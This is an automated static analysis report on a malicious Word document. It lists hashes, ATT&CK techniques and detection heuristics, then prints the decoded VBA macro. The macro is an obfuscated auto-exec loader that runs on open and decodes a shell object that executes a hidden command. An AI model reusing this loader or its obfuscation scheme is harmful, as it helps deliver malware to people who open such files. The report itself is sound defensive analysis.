Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 106d229f4d08e439…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-05-15 20:00:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 336f84248a7cb3f5c42d1b647f90d399 SHA-1: 1511d8689d475efb204ee043577b2ce8142a36ef SHA-256: 106d229f4d08e43915cbedb367a6eadde7b60248a8c5c23aaae66b82a8841b7b
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains heavily obfuscated VBA macros, including an auto-exec loader within the Document_Open and Workbook_Open events. The script decodes a string which is then used to execute another function, indicating a downloader or dropper functionality. The presence of the 'Valyria' ClamAV detection further supports its malicious nature.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2965 bytes
SHA-256: 103355e5bb0d67562270e72ac91511e804b217ce96761ea67374333c9965adba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function acYIY() As String
Dim aacYIY As String
aacYIY = "484853484848885729482A2348CE485242480F801D1D684A334854484817226E405348487083486948644848284840484828483E454848480B64481B0A7D484448628373187E2054487F485948484648214448214848483148480D4851483758480A364848481B11858448487411832744487B7C4836485A4851481B5D7A48790A4818487548180F21483A48481C48572A484833487491334830133E48734948186B7562486C481D482948484835482C77482E4848487748482248174848488729486148484881"
acYIY = aacYIYEnd Function

Public Function NPK_O(ByVal DAN_ZUE As String)
   Dim D_GB As String
   Dim HUY_X As Long
   For HUY_X = 1 To Len(DAN_ZUE) Step 2
        D_GB = D_GB & Chr(CLng("&H" & Mid(DAN_ZUE, HUY_X, 2)) - 77)
   Next
   NPK_O = D_GB
End Function
Public Sub Document_Open()
    Application.Run NPK_O("9C969D9EA4ACA690999592")
End Sub
Private Function ac7FM() As String
Dim aac7FM As String
aac7FM = "484853484848885729482A2348CE485242480F801D1D684A334854484817226E405348487083486948644848284840484828483E454848480B64481B0A7D484448628373187E2054487F485948484648214448214848483148480D4851483758480A364848481B11858448487411832744487B7C4836485A4851481B5D7A48790A4818487548180F21483A48481C48572A484833487491334830133E48734948186B7562486C481D482948484835482C77482E4848487748482248174848488729486148484881"
ac7FM = aac7FMEnd Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & NPK_O("9C969D9EA4ACA690999592")
End Sub
Private Function acP0M() As String
Dim aacP0M As String
aacP0M = "484853484848885729482A2348CE485242480F801D1D684A334854484817226E405348487083486948644848284840484828483E454848480B64481B0A7D484448628373187E2054487F485948484648214448214848483148480D4851483758480A364848481B11858448487411832744487B7C4836485A4851481B5D7A48790A4818487548180F21483A48481C48572A484833487491334830133E48734948186B7562486C481D482948484835482C77482E4848487748482248174848488729486148484881"
acP0M = aacP0MEnd Function

Public Sub K_GC()
    Dim DAN_ZUE As Object: Set DAN_ZUE = VBA.CreateObject(NPK_O("A4A0B0BFB6BDC17BA0B5B2B9B9"))
    DAN_ZUE.Exec (NPK_O(ActiveDocument.Variables("2V69WNC7").Value))
End Sub
Private Function acLSS() As String
Dim aacLSS As String
aacLSS = "484853484848885729482A2348CE485242480F801D1D684A334854484817226E405348487083486948644848284840484828483E454848480B64481B0A7D484448628373187E2054487F485948484648214448214848483148480D4851483758480A364848481B11858448487411832744487B7C4836485A4851481B5D7A48790A4818487548180F21483A48481C48572A484833487491334830133E48734948186B7562486C481D482948484835482C77482E4848487748482248174848488729486148484881"
acLSS = aacLSSEnd Function

Sub OIPQW_YCLHE()
    K_GC
End Sub

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